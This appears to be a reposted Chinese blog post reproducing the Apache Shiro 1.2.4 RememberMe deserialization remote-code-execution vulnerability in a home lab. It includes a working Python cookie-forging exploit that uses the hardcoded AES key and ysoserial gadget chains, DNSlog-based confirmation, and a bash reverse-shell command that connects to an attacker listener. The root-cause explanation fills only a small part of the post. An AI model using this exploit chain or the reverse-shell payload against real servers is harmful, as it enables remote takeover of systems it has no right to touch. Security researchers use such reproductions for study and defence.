Shiro RememberMe 1.2.4 反序列化RCE實踐


  Shiro作為Java的一個安全框架,其中提供了登錄時的RememberMe功能,讓用戶在瀏覽器關閉重新打開后依然能恢復之前的會話。而實現原理就是將儲存用戶身份的對象序列化並通過AES加密、base64編碼儲存在cookie中,只要能偽造cookie就能讓服務器反序列化任意對象,而1.2.4版本及以下AES加密時采用的key是硬編碼在代碼中的,這就為偽造cookie提供了機會。只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞【6】;

整個漏洞的測試和利用流程如下:

1、環境說明:

(1)靶機:VM裝kali, IP:192.168.40.130

         

       攻擊機:win10物理機,IP:198.168.40.129

(2)下方參考有kali配置docker和shiro的說明,配置好后用物理機訪問虛擬機如下:

      

2、(1)探測:在login界面隨便輸入賬號,點擊登陸,然后抓包,發現返回包的set-cookie有rememberMe=deleteMe字樣,說明對方使用了shiro

    

  (2)https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 在這里下載別人已經寫好的工具;本人在內網做測試,沒有公網地址,也沒有VPS,加上這個漏洞也沒有回顯,這里接用dnslog測試RCE是否成功。

  •  先在dnslog申請個子域名:jv39jb.dnslog.cn
  • 再用這個剛才下載的python腳本生成payload:ping一下剛才申請的那個域名

       

  payload拼接到cookie(去掉原來的jession字段,只用生成的這個payload),然后發包:

   

   再去dnglog查看,已經ping了,充分說明這個漏洞是存在並且可以利用的;

  

3、建立反彈shell:靶機和攻擊機都在192.168.40網段,是可以讓靶機反彈shell到攻擊機的;建議先關閉window自帶的defender防火牆,避免鏈接被攔截;

    (1)攻擊機是windows,先下載一個netcat(https://eternallybored.org/misc/netcat/),再把netcat的路徑寫入環境變量,我這里在4444端口監聽:

     

  (2)所有流程重走一遍:先生成payload,這次換成反彈shell:

     

     生成的shell發出去:

  

      成功接受到靶機kali 的反彈shell:前面有報錯,並且后面的shell也沒法查看home目錄的文件;無奈之下把錯誤提示google一番,發現是shiro在docker運行導致的,這個反彈shell就是靶機docker環境的shell,並非靶機的root shell,這是不是側面說明了在docker中啟動各種服務更安全了(由於docker的隔離,反彈shell權限受限)

     

  這里直接在靶機下運行payload:bash -i >& /dev/tcp/192.168.40.129/4444 0>&1,反彈shell如下(kali路徑有中文,所以反彈回來的shell有亂碼):一切正常!

     

 4、做完了測試,最重要的就是學習這個RCE的原理了;Shiro≤1.2.4版本默認使用CookieRememberMeManager,當獲取用戶請求時,大致的關鍵處理過程如下:

  • 獲取Cookie中rememberMe的值
  • 對rememberMe進行Base64解碼
  • 使用AES進行解密
  • 對解密的值進行反序列化

  我個人覺得最大的問題出在了AES加密這里;總所周知,AES是對稱加密,服務端和客戶端用的key都是一樣的;shiro的開發人員給了默認的key,如下:極易導泄露;(這里多說一句:很多勒索病毒都用非對稱加密算法的,根據客戶端的mac、硬盤或其他硬件id生成密鑰對,公鑰在客戶端加密,私鑰保留在自己的服務端;每個客戶端都有單獨的解密私鑰,私鑰之間沒任何關系,互相不影響)

       

   拿到AES的key后,就可以開始構造payload了:先明確需要服務器執行的命令,然后base64編碼,最后用上面的這個key加密,整個payload的構造代碼在shiro_1.2.4.py中,核心代碼如下:

def encode_rememberme(data, module):
    # module is JRMPClient or CommonsCollections2
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', module, data], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)#用公開的key加密
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


def generate_cookie_rememberme(file_path, data):
    file_path = file_path
    sys_argv_red = data
    ip_port_pattern = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}$')
    switch_result = ip_port_pattern.search(sys_argv_red)
    if switch_result is not None and switch_result is not "":
        try:
            payload_rebound = encode_rememberme(sys_argv_red, 'JRMPClient')
        except Exception as error:
            print("Generate cookie Error: {0}: {1}".format(Exception, error))
            return False
        cookie = "rememberMe={0}".format(payload_rebound.decode())
        print("Generate cookie success\n")
        if file_contents_operate(file_path, method='w', contents=cookie):
            print("{0}".format(cookie))
            print("\ncookie value in payload.cookie.txt\n")
            return cookie
        else:
            print("!!!Cookie rememberMe write file error\n")
            print("{0}".format(cookie))
            return False
    else:
        string = str(base64.b64encode(sys_argv_red.encode(encoding="utf-8")), encoding="utf-8") #payload用base64編碼
        bash_java_base64_encode_str = "bash -c {{echo,{0}}}|{{base64,-d}}|{{bash,-i}}".format(string)
        try:
            payload_command = encode_rememberme(bash_java_base64_encode_str, 'CommonsCollections2')#編碼后的payload再加密
        except Exception as error:
            print("Generate cookie Error: {0}: {1}".format(Exception, error))
            return False
        cookie = "rememberMe={0}".format(payload_command.decode())
        print("Generate cookie success\n")
        if file_contents_operate(file_path, method='w', contents=cookie):
            print("{0}".format(cookie))
            print("\ncookie value in payload.cookie.txt\n")
            return cookie
        else:
            print("!!!Cookie rememberMe write file error\n")
            print("{0}".format(cookie))
            return False

  靶機收到cookie后,先解密,再解碼,最后進入這里的反序列化函數,如下;這里需要注意的是Shiro並不是使用原生的反序列化,而是重寫了ObjectInputStream.resolveClass()方法,最大的坑就在這了: resolveClass未采用class.forName,而是ClassLoader.loadClass();更詳細的反序列化漏洞原因解析,可參考【9】:Shiro RememberMe 漏洞檢測的探索之路;

   

參考:

1、https://cloud.tencent.com/developer/article/1556595  Apache Shiro反序列化遠程代碼執行復現及“批量殺雞”

2、https://blog.csdn.net/weixin_44067239/article/details/106918315 Shiro RememberMe 1.2.4 反序列化命令執行漏洞復現 kali docker

3、https://www.meiyoubug.com/article/79567.html  kali-2020配置docker

4、https://wh1te.fun/2020/06/21/Apache%20Shiro%20%3C%201.2.4%20RCE%20%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/    Apache Shiro < 1.2.4 RCE 漏洞復現與利用

5、https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 利用的payload

6、https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/   Shiro 1.2.4 反序列化漏洞

7、https://blog.csdn.net/zoulonglong/article/details/79552813  python3.6 錯誤: ModuleNotFoundError:No module named "Crypto"

8、https://p0rz9.github.io/2019/07/18/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/    Shiro反序列化漏洞分析

9、https://mp.weixin.qq.com/s/jV3B6IsPARRaxetZUht57w  Shiro RememberMe 漏洞檢測的探索之路


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM